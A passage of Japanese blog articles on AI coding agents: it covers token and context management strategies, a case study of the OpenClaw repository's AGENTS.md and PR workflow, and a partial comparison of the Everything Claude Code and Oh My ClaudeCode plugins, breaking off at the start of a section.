ただし、ここで一つだけ正確に押さえておくべきことがあります。Anthropicの公式文書が「すべての文書を200行以下に保て」と直接規定しているわけではありません。公式ガイドが述べているのは、より一般的な原則です。SKILL.mdには中核の指針だけを載せ、詳細な文書はreferences/に逃がし、大きなコンテキストの問題が生じたらSKILL.mdを5,000語以下に保つ、というものです。⁹ 私がここに付け加えたい実務上のルールは、もっと攻めたものです。実際に参照される文書の断片は、200行以内に分割しておくほうがよいということです。そうしてこそ、skillが必要な文書だけを選んで読むときに、その単位が大きくなりすぎずに済みます。

たとえば、以下のように構成するほうが望ましいでしょう。

.claude/
├── CLAUDE.md
├── agents/
│   └── code-reviewer.md
└── skills/
    └── security-review/
        ├── SKILL.md
        └── references/
            ├── auth-checklist.md
            ├── input-validation.md
            └── secrets-policy.md

この構造の利点は二つあります。第一に、メインセッションにはskillを「いつ使うべきか」だけが残ります。第二に、詳細な文書は実際に必要になったときにだけ入ってきます。トークンの節約は、この第二段階で発生します。

実測データも方向性は同じです。SkillsBenchは、7つのモデル／ハーネスの組み合わせにおいてキュレーションされたskillsが平均+16.2ポイントの成功率向上をもたらしたと報告しています。¹¹ Claude Code Opus 4.6は30.6%から44.5%へ、Codex GPT-5.2は30.6%から44.7%へ、Claude Code Sonnet 4.5は17.3%から31.8%へ上昇しました。¹¹ さらに興味深いのはトークンです。この研究では、skillsがすべての環境で無条件にトークンを減らしたわけではありませんでした。GPT-5.2とGemini 3 Flashでは、skillの文脈が加わることで総トークンが6〜13%増えました。一方でGemini 3 Proは総トークンが約6%減り、Claude Code Opus 4.6は観測可能な入力トークンが1,947Kから1,448Kへ、約26%減少しました。¹¹

この数値が語っていることは明白です。skillは「文書をより多く入れる技術」ではなく、探索を減らして手順を再利用する技術なのです。よく設計されたskillは試行錯誤を減らして全体のトークンを下げられますが、逆に大きすぎるskill、多すぎるskill、丸ごとロードされるskillは、かえってコンテキストの負債になります。

結論として、skill戦略の核心は次の3行に集約されます。

• 頻繁に繰り返される手順はskillへ昇格させる。
• SKILL.mdは短く保ち、詳細な文書はreferences/に分離する。
• 実際に参照される文書は小さく分割し、オンデマンドのロードが意味を持つように作る。

戦略8: 大きなログや検索作業は、サブエージェントか別セッションに隔離する

Web検索、長いログの分析、ビルド出力のレビュー、広範なコード探索は、いずれも成果物が長くなります。この種の作業をメインセッションで直接処理すると、コンテキストは急速に汚染されます。ideationでも、こうしたノイズの多い作業はサブエージェントに委譲し、結果の要約だけをメインコンテキストに返してもらう方式を推奨しています。¹²

このパターンはClaude Codeだけでなく、CodexやGemini CLIにもそのまま当てはまります。重要なのは、どのツールを使うかよりも、ノイズの多い作業と判断が必要な作業を同じセッションに混ぜないことです。

戦略9: 検索ベースのコンテキスト注入をデフォルトにする

大規模なコードベースで、ファイル全体をそのまま読ませる方式は長くは持ちません。ideation文書には、関数やシンボル単位の依存グラフを作って必要な断片だけを与える高度なパターンも紹介されており、この方式であれば実測ベースで80%以上の削減が可能だという事例まで出ています。¹³

もちろん、すべてのチームがすぐにMCPサーバーや依存グラフを作る必要はありません。しかし原則そのものは、いますぐ適用できます。

• まず検索する。
• 関連するファイルとシンボルだけを絞り込む。
• その断片だけをコンテキストに入れる。

つまり、リポジトリ全体をダンプする代わりに、検索してから注入することをデフォルトにすべきなのです。

戦略10: MCPサーバーも、つないでおくだけでコストになる

MCPは強力ですが、有効化されたサーバーとツールが多いほど、コンテキストとシステム指示文は膨らみます。ideation文書が指摘するとおり、現在の作業と無関係なMCPを常時オンにしておくことは、最初のプロンプトを送る前から予算を食い潰すやり方です。¹⁴

したがってMCPの戦略も、「たくさんつなぐ」ではなく「必要なときだけつなぐ」が正解です。長期的には、これもまた段階的開示（Progressive Disclosure）の一部です。

戦略11: ツールごとに役割を分ける

ideationは、Claude Code、Codex、Geminiをそれぞれ異なる特性として整理しています。¹⁵¹⁶¹⁷

• Claude Codeは複雑な推論とデバッグに強い一方で、セッション管理が重要です。
• Gemini CLIは長いコンテキストの分析に有利ですが、.geminiignoreのような除外戦略が必須です。
• Codexは比較的大きなコンテキストを扱えますが、結局はcompactionと範囲管理の原則から自由ではありません。

これはつまり、すべてのツールを一つのやり方で使うな、という意味です。コードベース全体のマッピングは長いコンテキストのツールに任せ、実際の修正は短く集中したセッションに渡す、といった役割分担が、コストと品質の両面で有利です。

アンチパターン

逆に、次のパターンはほぼ常にトークンの負債を生みます。

• 「プロジェクト全体を見て、いい感じにやっておいて」のような広すぎる依頼
• 一つのセッションに探索・実装・デバッグ・振り返りをすべて積み上げるやり方
• 大きなtasks.md、巨大なルールファイル、肥大化したskillを常に丸ごとロードする構造
• skillの中にすべての背景知識を1ファイルに詰め込み、references/を事実上使っていない構造
• ビルドログ、diff、検索結果を圧縮せずそのまま貼り付ける習慣
• 現在の作業と無関係なMCPサーバーやツールを常時有効にしている設定
• 大きなコンテキストウィンドウがあるのだから整理しなくてよい、という態度

長いコンテキストは、より多くのゴミを収められるようにしてくれるだけであって、重要な情報をより上手に選び取れるようにしてくれるわけではありません。

現実的な適用の優先順位

本文もおおむね削減効率の順に整理しましたが、実際の着手順はチームの規模や投資の余力によって多少変わり得ます。実務的には、たいてい以下の三段階で捉えると理解しやすいでしょう。

1. すぐに適用 .claudeignore、tasks.mdの分割、/clear・/compact、handoff文書
2. 今週中に定着 Plan mode、CLAUDE.mdのスリム化、繰り返す手順のskillへの昇格
3. その次の構造投資 サブエージェントによる隔離、検索ベースのコンテキスト提供、MCPの最小化、ツール別の役割分担

つまり大半のチームは、高度なインフラより先に文書構造とセッションの習慣を変えるだけでも、大きな違いを体感できるということです。

結論

バイブコーディングのトークン管理戦略は、結局のところ一文に要約されます。モデルに多くを見せるのではなく、いま必要なものだけを正確に見せよ。 セッションは短く保ち、繰り返す説明は文書とskillに外部化し、大きなタスクはインデックスと計画段階に分割し、ノイズの多い作業は別セッションに隔離すべきです。

トークンを節約するチームの生産性が高い理由は、お金を使わないからではありません。モデルが混乱する余地を減らしたからです。良いバイブコーダーとは、長いプロンプトを書く人ではなく、コンテキストを設計する人なのです。

「かつてチームを率いていたことがある。私の下には多くのソフトウェアエンジニアがいた。あのときも、彼らが私の望むやり方とまったく同じコードを書くわけではないという点を受け入れなければならなかった」 – Peter Steinberger¹

OpenClawはGitHubで最も多くのスターを集めたソフトウェアリポジトリ（31万以上のスター）であり、大規模なAI支援「バイブコーディング」の決定的なケーススタディです。² オーストリアの開発者Peter Steinbergerが3〜8個の並列AIエージェントインスタンスを活用して構築したこのプロジェクトは³、たった1人の開発者が30万LOC規模のTypeScriptモノレポ、20以上のメッセージング統合、3つのプラットフォーム向けネイティブアプリをオーケストレーションできることを示しています。しかも、コードのほとんどを自分では読まずに、です。¹

このプロジェクトの名前は、激動の過程を経てきました。2025年11月、AnthropicのClaudeをベースに1時間で作られたプロトタイプ Clawdbot が始まりでした。2026年1月にGitHubで公開されると1日で9,000スターを集めて爆発的に成長しましたが、Anthropicの商標権に関する警告を受けて Moltbot に改名せざるをえませんでした。続いて、なりすましアカウントや悪意あるnpmパッケージなどのセキュリティ事故が起きたことで、わずか3日後に再び OpenClaw へと名前を変えました。⁴ 2026年2月、SteinbergerはOpenAIに加わって「次世代のパーソナルエージェント」を率いることになり、OpenClawはOpenAIが支援する独立財団へ移管されました。⁵

皮肉なことに、Steinberger本人は「vibe coding」という表現を蔑称だと呼び「agentic engineering」を好むのですが⁶、OpenClawはこの潮流を代表するプロジェクトになりました。⁷ この記事では、OpenClawのリポジトリ構造、ワークフロー、コミュニティ運営のあり方を分析し、そこから抽出した実践可能なベストプラクティスを整理します。

TL;DR

• OpenClawは、1人の開発者が複数のAIエージェントを調律して大規模なTypeScriptモノレポとネイティブアプリを運営した、代表的なバイブコーディングの事例です。
• 中核となるパターンは、生きているAGENTS.md、明確なPR規範、自動化された品質ゲート、並列エージェントの調整ルールです。
• バイブコーディングの熟練は、コードを自分で多く書く能力よりも、コードを書くシステムを設計し統制する能力へと移っていきます。

1. OpenClawは実際に何をするのか

OpenClawはセルフホスト型のパーソナルAIアシスタントであり、メッセージングプラットフォームを大規模言語モデルにつなぎます。ChatGPTやClaudeのWebインターフェースとは違い、OpenClawはユーザーのローカルマシンで動作し、ユーザーがすでに使っているチャネルと接続します。WhatsApp、Telegram、Discord、Slack、Signal、iMessage、Microsoft Teams、Matrix、LINEなど15以上のチャネルをサポートしています。READMEはこれを簡潔にこう説明します。“あなたのデバイス上で直接動くパーソナルAIアシスタント。”⁸

アーキテクチャの中心にあるのは、ローカルのGatewayデーモンです。これはポート18789で動作するWebSocketベースのコントロールプレーンで、入ってきたメッセージをそれぞれ独立したAIエージェントへルーティングします。各エージェントは自分だけのワークスペース、メモリ、そしてMarkdownファイル（SOUL.md、MEMORY.md、USER.md）で定義された個性を持ちます。⁹ エージェントは単に会話するだけではありません。シェルコマンドの実行、CDPを通じたブラウザ制御、スケジュール管理、cronジョブの実行、ハートビートシステムによる能動的な連絡まで行います。¹⁰ ClawHubというスキルマーケットプレイスには、1,700以上のコミュニティ製の拡張が登録されています。¹¹

技術スタックはTypeScriptベースの pnpmモノレポ（Node.js 22以上）で、Swift（macOS/iOS）とKotlin（Android）で書かれたネイティブのコンパニオンアプリを含みます。テストはVitestとV8カバレッジ70%以上を基準に運用されています。¹²

2. リポジトリに表れるAI支援開発の痕跡

バイブコーディングの最も明確な証拠は、コミット履歴にあります。初期にはAnthropicのClaude Codeで開発されていたため、コミットに 「claude」が共同作成者（co-author） として頻繁に登場します。しかしSteinbergerが2026年2月にOpenAIに加わって以降は、codex/issue-issue-41258-20260312044119のような OpenAI Codexエージェントが自律的に生成したブランチ が目立って増えました。1つのリポジトリにClaudeとCodex、2つのAIコーディングエージェントの痕跡が共存しているわけです。READMEはむしろこう明記しています。“AI/vibe-coded PRs welcome!”⁸

Steinberger個人のワークフローはとくに印象的です。彼は Codex CLIのインスタンスを3〜8個、3x3のターミナルグリッドで同時に実行しており、そのほとんどは別々のワークツリーではなく同じフォルダで作業しています。³ 各エージェントはAGENTS.mdのルールに導かれてアトミックなコミットを作ります。彼は 2026年1月の1か月だけで6,600以上のコミットを残しましたが、見かけ上は20人規模のチームの速度でも、実際には1人とAIエージェントたちの組み合わせです。¹ プロンプトは時が経つほど短くなっており、いまでは通常1〜2文とスクリーンショット1枚で十分で、スクリーンショットが入力の約50%を占めています。¹³

CONTRIBUTING.mdは、コミュニティがAI支援のPRをどう扱うべきかを規範化しています。¹⁴

• PRのタイトルまたは説明にAIの使用有無を明示すること
• テストの水準を明記すること（未テスト／軽くテスト済み／十分にテスト済み）
• 可能ならプロンプトまたはセッションログを含めること
• 生成されたコードが何をするのかを理解していることを確認すること

文書はこう締めくくられます。“ここではAIのPRを一級市民として扱う。ただ、レビュアーがどこを重点的に見るべきかわかるように透明性がほしいだけだ。”¹⁴

3. AGENTS.mdとCLAUDE.mdの設定パターン

OpenClawのリポジトリで最も再現可能性の高いイノベーションは、AGENTS.mdファイルです。¹² これはコードベースで作業するすべてのAIコーディングエージェントのための包括的な指示文書です。CLAUDE.mdは同じファイルを指すシンボリックリンクで、Claude CodeとCodex系のエージェントが同一の指示を読むことを保証します。ルールも明確です。“リポジトリのどこであれ新しいAGENTS.mdを追加するときは、必ずそれを指すCLAUDE.mdのシンボリックリンクも一緒に追加すること。”¹²

このファイルは、AIエージェントのための組織的記憶装置として機能します。Steinbergerはこれを 「組織の傷跡が蓄積された痕跡（organizational scar tissue）の集まり」 と表現しますが、それは何かがうまくいかないたびにCodex自身が段階的に内容を追加してきたからです。¹³ 中核となるセクションは次のとおりです。

• ビルドおよびテストのコマンド：pnpm build、pnpm check、pnpm test、高速な型チェック用のpnpm tsgoのように正確に明示
• Gitの規約：fix(telegram):、feat(skills):のようなサブシステムスコープを含むConventional Commitsの強制、push前のgit pull --rebaseの要求
• マルチエージェントの安全ルール：git stashを作成／適用／削除しないこと、要求されない限りブランチを変えないこと、認識していない変更を見つけたら別のエージェントが作業中だと仮定して作業を続けること
• チェンジログのルール：ユーザーにとって意味のある項目だけをセクションの末尾に追加、外部コントリビューターの表記はThanks @authorパターン
• セキュリティ境界：実際の電話番号、本番環境の設定値、動画ファイルのコミット禁止

より広いコミュニティの次元では、自動コードレビューが必須です。GitHub Codexのレビューが自動的に実行されない場合、コントリビューターはローカルでcodex review --base origin/mainを実行し、その結果を必須のレビュー作業として扱わなければなりません。¹⁴

4. 大規模運用におけるPRパターンと自動化

OpenClawはおよそ 1日14件の新規PR を処理しており、任意の時点で5,500件以上のオープンPRと19,000件以上のクローズ済みPRが存在します。¹⁵ この規模のボリュームは強力な自動化を要求します。リポジトリには合計 58個のラベル があり、コンポーネント（agents、cli、gateway、docker）、チャネル（channel: telegram、channel: discord、channel: whatsapp-web）、種類（docs、enhancement、bug）別に分かれています。⁹

レビュープロセスには複数のボットが参加します。openclaw-barnacle ボットは自動ラベリングと自動応答を担当し、Greptile-apps は自動コード分析を、aisle-research-bot はレビューコメントを残します。.github/workflows/auto-response.ymlワークフローは、特定のパターンに一致するイシュー（TestFlightの要請、サードパーティ拡張の提案、スパムなど）を自動的にクローズしてロックします。¹⁵

VISION.mdは強い制限を課します。1つのPRは1つのイシュー／トピックだけを扱うこと、関連のない修正を束ねないこと、そしておよそ5,000行以上変わるPRは例外的な場合にのみレビューする、というものです。¹⁶ CIパイプラインにはメインのテストスイート、インストールのスモークテスト、ワークフローの健全性検査、自動ラベラーが含まれ、カバレッジ基準は 行、ブランチ、関数、ステートメントのすべてで70%以上 を要求します。¹²

5. バイブコーディングのワークフローから抽出した9つのベストプラクティス

OpenClawの公式 Vibe Codingスキル（ClawHubで1,700以上のスター）は、この方法論をルール化された形で整理しています。¹⁷ ここにSteinbergerの公開されたワークフローとリポジトリの実際の慣行を組み合わせると、最も実践的なパターンは次のようになります。

5.1 生きているAGENTS.mdファイルを維持する

最も影響力の大きい実践です。段階的に書きましょう。AIエージェントがミスをするたびにルールを追加すればよいのです。ツールの互換性のためにCLAUDE.mdへシンボリックリンクを張りましょう。Steinbergerのファイルは約300行の長さで、gitの規約、テストコマンド、アーキテクチャパターン、ファイル長の制限（約500 LOC）、マルチエージェントの調整ルールまで含んでいます。これは口伝の知識を、機械が読める制度的記憶へと変えます。¹²¹³

5.2 Research → Plan → Implement のワークフローを使う

実装の前に、AIにまず既存のコードを探索させましょう。たとえば「authモジュールを読んで、セッションがどう動くのか説明して」と指示します。次に計画を提案させます。「修正するファイルと、各ファイルで変わる内容を書き出して」と指示するのです。計画を検討したうえで、はじめて実装へ進みます。“計画段階で誤解を捕まえるコストは、連鎖したエラーをデバッグするより10倍安い。”¹⁷

5.3 サブシステムスコープを含むConventional Commitsを強制する

type(scope): descriptionというパターン、たとえばfix(telegram): resolve TypeError in status commandのような形式は、AIエージェントが理解でき、自動チェンジログ生成も可能な、機械解釈可能な履歴をつくります。コミッターのヘルパースクリプトを使い、ステージングが意図したファイルだけに限定されるようにしましょう。¹²

5.4 AIエージェントを、管理対象のジュニアエンジニアのように扱う

Steinbergerの中核となる比喩です。人間の努力はシステムアーキテクチャと趣味（taste）、すなわち動く解法と優雅な解法を見分ける能力に集中すべきです。実装、ボイラープレート、リファクタリングはエージェントに任せましょう。¹

5.5 明示的な調整ルールとともに並列エージェントを運用する

複数のエージェントは同じフォルダでも同時に作業できます。ただし、AGENTS.mdに次のことが明確に書かれている必要があります。修正の前にgit statusとgit diffを確認すること、アトミックなコミットを作ること、stashに触れたりブランチを変えたりしないこと、理解できない変更を見ても別のエージェントの作業とみなして進めること。こうしてはじめて「バイブコーディング」は1人プレイではなく、マルチプレイのオーケストレーション問題へと変わります。¹²³

5.6 AIのPRを、透明性が保証された一級市民として扱う

コントリビューターに、AIツールの使用有無の開示、テスト水準の明記、プロンプトやセッションログの添付、生成されたコードへの理解の確認を求めましょう。これは参入障壁を立てる行為ではありません。微妙なAI生成のバグが潜んでいる可能性が高い箇所にレビュアーが集中できるよう、必要な文脈を提供する仕事です。¹⁴

5.7 趣味（taste）を必要としないものは、すべて自動化する

OpenClawは自動ラベリング、自動応答ワークフロー、自動コードレビューのボット、staleイシューの管理、シークレット検出、デッドコード分析、重複検査まで使っています。人間の役割はアーキテクチャと品質の判断です。それ以外は自動化するか、エージェントに委譲すべきです。¹⁵

5.8 いつ介入し、いつ流れに任せるかを見分ける

スキャフォールディング、UIコンポーネント、ボイラープレート、探索的な作業はAIに任せましょう。一方、認証、決済、データ処理、データベーススキーマ、APIの権限、そしてセキュリティに接するすべては手動の介入が必要です。そして、あらゆる変更のあとには必ずテストしましょう。AIは「見かけは完璧だが微妙なバグがある」コードを作り出します。¹⁷

5.9 プロンプトに制約条件をアンカー（固定）する

明示的な境界を与えましょう。行数の制限（「50行以下」）、出力形式の制限（「ファイル全体ではなく、修正した関数だけ」）、範囲の固定（「決済フローだけ、authには触れないこと」）、スタイルの指示（「UserService.tsの既存パターンに従うこと」）といった制約です。曖昧なプロンプトは曖昧な結果を生みます。¹⁷

結論

OpenClawのリポジトリは、本番規模のバイブコーディングがエンジニアリングの規律を捨てることではなく、それを再配置することだと示しています。このプロジェクトの1,200人以上のコントリビューター、19,000件以上のマージ済みPR、18,000件以上のコミットは、大規模なソフトウェアプロジェクトを可能にするまさにその原則で運営されています。明確な規約、自動化された強制、構造化されたコミュニケーション、明示的な境界がそれです。

イノベーションは 誰が実行するか にあります。AIエージェントが実装を担い、人間はアーキテクチャ、趣味（taste）、調整を担います。「組織の傷跡が蓄積された痕跡」 を積み上げていく、生きた段階的な指示ファイルというAGENTS.md（CLAUDE.md）のパターンは¹³、最も移植しやすい実践方法です。

Steinbergerが詳細な仕様書（2025年6月）から、スクリーンショット中心の短いプロンプト（2025年後半）へ、さらに最小限の監督で3〜8個の並列エージェントを回す段階（2026年）へと移っていった軌跡は、すべてのバイブコーダーがたどることになる学習曲線を示しています。³ 教訓は、コードが重要でないということではありません。ソフトウェアエンジニアリングの重心が移動したということです。コードを自分で書く熟練から、コードを書くシステムを設計する熟練へ。300行のAGENTS.mdを蓄積し、70%のカバレッジ基準線を立て、マルチエージェントの衝突ルールを設計する仕事は、レンガを積む仕事ではなく建築をする仕事です。そしてその建築もまた、簡単には得られない熟練を要求します。

Everything Claude Code（ECC）は開発者に豊富なツールと指針を提供します。最適な開発習慣とパターンに従わせることで成果物を向上させるアプローチです。一方、Oh My ClaudeCode（OMC）は複雑な設定なしに複数のエージェントを自動で調整します。素早く結果を得ることに集中しています。

先行する2本の記事、Everything Claude Code Distilled と Oh My ClaudeCode Distilled でそれぞれを整理しました。今回の記事では、バイブコーディングのコミュニティで現在話題となっている2つのツールを比較し、選択の助けになればと思います。

本稿では、2つのGitHubオープンソースプロジェクト、Everything Claude Code（affaan-m）とOh My ClaudeCode（Yeachan-Heo）を導入の観点から比較してみました。¹²

TL;DR

• ECCは品質、検証ループ、細やかな制御に強い構成型のツールボックスに近い存在です。
• OMCは並列実行、自動オーケストレーション、低い学習負担を前面に出した自動化中心のアプローチです。
• チーム導入においては、長期的な品質と標準化が重要ならECC、素早いプロトタイピングと並列による加速が重要ならOMCがより適しています。

比較サマリー

機能の比較と分析

Everything Claude Code (ECC)

ECCは、Claude Codeの活用に必要な構成要素を統合したコレクションです。¹ 標準のClaude Codeは単一のエージェントしか使いません。ECCには多様なサブエージェント、ドメイン別のスキル、自動実行されるフックが含まれています。¹ 例としてplanner、architect、code-reviewer、security-reviewerといった専門エージェントがあります。React/Next.jsのフロントエンドパターンやデータベースのパターンといった知識スキルのテンプレートも提供します。¹

さらに/plan、/tdd、/code-review、/build-fixといったスラッシュコマンドで特定の作業を即座に実行できます。¹ ワークフローごとにプロンプトを毎回書かなくてよい、という意図です。メモリ管理（セッション間のコンテキスト保存/読み込み）、継続的な学習（セッションからパターンを抽出してスキルとして保存）、自動的な文脈の圧縮といった機能も含みます。¹ 長時間セッションの限界を克服し、継続的なプロジェクト進行を可能にする中核的な要素です。こうした理由からECCは包括的な環境を提供します。Mediumのレビューでは「Claude Code用のオペレーティングシステム」になぞらえられたこともあります。³

ただし、ECCはClaude Codeの基本的な枠を拡張するアプローチです。同時並列処理や高度なモード切り替えといった機能は含みません。単一のエージェントが一連の作業を逐次的に遂行します。ECCはエージェントの分業と自動化ツールでその過程を助ける形です。機能は豊富です。その代わり、どのツールをいつ活用するかをユーザー自身が判断しなければなりません。構成型ツールキットとしての性格が強いといえます。

Oh My ClaudeCode (OMC)

OMCは機能設計の哲学からしてECCと異なります。「ユーザーが学習する必要なく、最適な方法で勝手にやってくれる」という目標に合わせて設計されました。² 最も目を引く機能は5つの実行モードです。²

• Autopilot: 完全自動モード
• Ultrapilot: 並列加速モード
• Swarm: 複数のエージェントがタスクプールを協働処理
• Pipeline: 作業を逐次パイプラインとして連結
• Ecomode: トークン節約を優先するモード

状況に応じて多様な戦略が自動的に適用されます。例えば、1つのプロジェクトでバックエンドとフロントエンドのコードを同時に書く場合、Ultrapilotが複数のエージェントを並列投入して速度を高めます。テストやリファクタリングのように段階が重要な場合はPipelineで順序を保証する、といった具合です。⁴

OMCにはECCと類似した専門エージェントが32個含まれています。² ただし、ユーザーがそれらを直接呼び出すというより、自然言語で指示すればOMCが適切なエージェントを選び出します。並列/逐次の実行戦略まで決定します。² またスマートモデルルーティング機能により、単純な作業には安価で速いモデル（例：Haiku）を、複雑なロジックには強力なモデル（Opus）を活用します。² コストと性能のバランスを取る方式です。こうした自動化は、大規模プロジェクトや多段階の作業においてユーザーの手間を減らす強みになります。

一方、OMCの弱点は複雑さから来るリスクです。複数のエージェントが絡み合って作業します。問題が発生したときに原因の特定が難しくなります。⁵ 自動的に委譲されたエージェントの品質が常に均一とは限らない、という指摘もあります。⁵ 結局のところ、Claudeに「各分野の専門家のように振る舞え」とプロンプトを与える方式の限界が残る、という話です。それでも継続的な改善で弱点を減らしています。SQLiteベースの作業調整などによって協働の信頼性を高めています。²

結論

機能面で見ると、ECCは開発プロセス全般を細やかに支援するツールの集まりです。OMCは、そのツールの利用を自動化して利便性と拡張性を高めた格好です。精緻なTDD/検証フローやセッションの持続性などはECCの強みです。並列処理と自動オーケストレーションはOMC独自の強みです。組織的なコード品質の管理や長時間セッションのサポートが必要ならECCが充実しています。別途のカスタマイズなしに素早い開発サイクルを望むならOMCの機能セットが有利です。

使いやすさの比較と分析

Everything Claude Code (ECC)

ECCのインストールと設定は、Claude Code CLI環境に慣れていれば難しくありません。公式に推奨される方法はClaude Codeのプラグインとして追加する方式です。¹ マーケットプレイス追加コマンドとインストールコマンドを入力するだけでECCの構成要素が有効化されます。¹ インストールが終わると~/.claude/ディレクトリにエージェント、スキル、フックなどが登録されます。Claude Codeですぐに/tdd、/planといったコマンドを使えます。クロスプラットフォーム対応が整備されており、Windowsでも追加のシェル設定なしに同じ手順でセットアップできます。¹

ただし活用の段階では、ユーザーの能動的な役割が求められます。ECCのREADMEは「このリポジトリは生のコードであり、すべてはガイドで説明される」という趣旨を述べています。¹ 文書を読み、概念を理解して使う方式を前提としています。例えばECCのルール（.md）ファイルを適用するには、ファイルを手動で~/.claude/rules/フォルダにコピーするか、設定へマージする必要がある場合があります。¹ またECCに含まれる数十個のエージェント/スキルのうち、何をいつ呼び出して使うかも結局はユーザー次第です。慣れてくれば必要な機能を選んで使う柔軟性が生まれます。初期には膨大な機能一覧が学習負担になり得ます。まとめると、インストールは手軽です。その代わり学習曲線があります。使いこなすには時間をかけて構造を把握する必要があります。

Oh My ClaudeCode (OMC)

OMCの開発者は「初心者でも即座に強力なClaude Codeユーザーになれるように」使いやすさを設計しました。⁶ インストールはECCと同じくプラグインとして追加する方式です。リポジトリのアドレスの代わりにGitHubのURLを直接指定することもできます。⁴ NPMによるインストールのオプションも提供されます。⁴ 基本インストール後にomc-setupコマンドを一度実行すれば、内部設定が自動的に完了します。⁴ それ以降は特に設定を変えることなく、自然言語で指示すれば済みます。

例えば「ultrapilotモードでこのプロジェクトをビルドして」のように言えます。「プロジェクトをビルドして」とだけ言っても、内容に応じて並列モードを自動で適用します。スラッシュコマンドを暗記する必要なく、普通の会話で制御できる点が敷居を下げます。² またHUD（ステータスライン）で、現在動作中のエージェント数や実行モードをリアルタイムに表示します。² 内部プロセスを知らなくても進行状況を可視的に把握できるよう助けます。

一方で、OMCもすべての状況を解決できるわけではありません。異常な動作をしたときに原因の特定が難しい場合があります。設定が正しく行われていなかったり、Claude Codeのバージョン変更で非互換が生じたりすると、問題がどこで発生したのか把握しづらいというフィードバックがありました。⁵ READMEが一時期マーケティング文句に偏り、具体的な説明が不足しているという指摘もありました。⁵ ただし最近のアップデートでは、文書の補強と設定スクリプトの改善によって良くなっています。v3.x系に入って安定性が向上したという評価もあります。

結論

インストールの容易さは、ECCもOMCもプラグインとして追加できるため大きな差はありません。使用の利便性はOMCのほうが親しみやすいといえます。コマンドを学習せずに自然言語で操作できる点が核心です。一方でECCは強力です。その代わり、ユーザーが主導的に機能を選ばなければなりません。学習曲線を受け入れる意志のあるユーザーに向いています。まとめると、「素早い道案内」はOMCです。「深いツールボックス」はECCです。

技術スタックの比較と分析

2つのプロジェクトはいずれも、Anthropic Claude Code CLI環境の上で動作する拡張プラグインです。内部的にはClaude Codeが提供するAPIフックとプラグインシステムを活用します。実装には違いがあります。

Everything Claude Code (ECC)

ECCはTypeScriptというよりも、JavaScriptと設定ファイル中心で構成されています。GitHubの統計基準でJavaScriptが約70%、そこにMarkdown文書（スキル/エージェントの定義など）、少しのPython、Shellが混ざっています。¹ これは、ECCが主にコマンドプロンプトと設定を提供する性格であることを反映しています。

リポジトリには.mdファイルにエージェントの行動指針が記述されています。hooks.jsonのようなJSONでフックが定義されています。¹ v1.1.0ですべてのフックとスクリプトをNode.js（JavaScript）で書き直しました。¹ Windows/Mac/Linuxのどこでも同じように動作するようにするためです。初期バージョンには一部シェルスクリプトがありました。現在はscripts/フォルダ配下に*.jsとして実装されたクロスプラットフォームのNodeスクリプトに置き換えられています。¹ Pythonコード（約19%）は、例示や特定ツール連携用のスクリプトと推測されます。全体の実行ロジックはNode.jsベースです。

またECCはパッケージマネージャーの検出/設定機能も提供します。プロジェクトのパッケージ管理ツール（npm、pnpm、yarn、bun）を自動認識します。¹ CLAUDE_PACKAGE_MANAGER環境変数や設定ファイルで指定できるようにしています。¹ こうした付加スクリプトはNode.jsで書かれ、ECCのインストール時に一緒に提供されます。

配布方式はNPMではありません。GitHub連携です。GitHubリポジトリをClaude Codeのマーケットプレイスのソースとして追加してインストールする形です。¹ アップグレードはgit pullや/plugin updateで行われます。リリースタグで主要な変更点が告知されます（現在は1.1.0リリース）。¹

Oh My ClaudeCode (OMC)

OMCはTypeScriptを主要な言語として使っています。複雑なロジックをコードで実装したプロジェクトです。² TypeScript 82%、JavaScript 10%程度という構成は、機能を動的に処理するためのアプリケーションレベルのコードを多く含むという意味です。² 並列エージェントの管理には、スレッド/プロセスプールの管理、作業分配のアルゴリズム、状態の同期が必要です。こうした部分がTypeScriptで書かれています。

OMCはClaude Codeのプラグインです。同時にNPMパッケージ（oh-my-claude-sisyphus）としても配布されています。⁴ npmの統計基準で月9千回以上のダウンロードが行われています。⁴ これは、Claude Code CLIと連携せずに独立実行したり、他の環境で活用したりするための試みかもしれません。ただし通常は、Claude Code環境の中でプラグインとして使うのが基本です。

OMCのアーキテクチャの特異点は、データベースおよび並列処理のメカニズムです。v3.6.0時点でSQLiteベースのSwarm調整を導入しました。² 複数の並列エージェントが作業状態を共有/調整するために軽量DBを使います。例えば5個のエージェントがSwarmモードで動作すると、SQLite DBに作業の完了可否や共有リソースの情報を記録して、競合状態なく協働できるようにします。こうした要素（並行性、状態管理）は、ECCにはないOMC独自の技術スタック上の特徴です。OMCにも一部PythonやShellが含まれます。² ローカルテストの実行やシステムコマンドの呼び出しのためのコードと推測されます。データ処理用のPythonヘルパーがあり得るという推測も可能です。

結論

技術スタックの観点では、ECCは設定指向、OMCはコード指向と要約できます。ECCは構成ファイルとスクリプトの組み合わせでClaude Codeの機能を拡張します。OMCは別途のプログラムロジックでClaude Codeの上にレイヤーを重ねる感覚です。OMCは内部動作が複雑です。その代わり精緻な制御を行います。ECCは比較的単純な構造で、Claude Code本来の安定性を保ちながら拡張します。カスタマイズを自分で行いたいならECCの構造は理解しやすいかもしれません。完成度の高い並行処理エンジンを望むなら、OMCのTSベースのアーキテクチャが提供する機能を活用するほうがよいでしょう。

コミュニティおよび更新頻度の比較

Everything Claude Code (ECC)

ECCは2025年12月頃に公開されて以降、爆発的な反応を得ました。AnthropicとForum Venturesが主催した公式ハッカソンの優勝作であるという話題性がありました。³ 開発者がSNSで公開した使用レビューのスレッドが口コミで広がりました。公開から数日で数万単位のStarを獲得しました。現在のGitHub Starは3万個以上です。¹ Forkも数千個に達します。¹ Claude Code関連プロジェクトの中で最上位の人気という評価です。

コミュニティの面では、Mediumの記事、ブログ、Redditの議論などが活発です。多くのユーザーがECCをインストールして試しています。Issueの報告や改善提案（PR）も上がっています（GitHub Issue 6件以上、PR 8件以上が進行中）。¹ 開発者のAffaan Mustafaもフィードバックを受けて1.1.0アップデートを出しました。¹ このバージョンでクロスプラットフォームの問題解決とバグ修正が反映されました。¹

コミュニティは初期段階です。ただしStar数からも分かるとおり関心層は広いといえます。Claude Codeユーザーによる経験の共有やガイドの作成も増えており、情報を得やすいという評価です。動作原理や使い方を解説したMediumの記事、RedditのQ&Aも存在します。³ Discussionsタブも開かれています。¹ ユーザー同士で質疑応答が行われます。プロジェクトの速度がとても速いわけではありません。現時点までのリリースは2回（1.0、1.1）です。¹ ただし中核の開発者が継続的に対話しながら改善を予告しています。今後のアップデートへの期待値は高いといえます。

Oh My ClaudeCode (OMC)

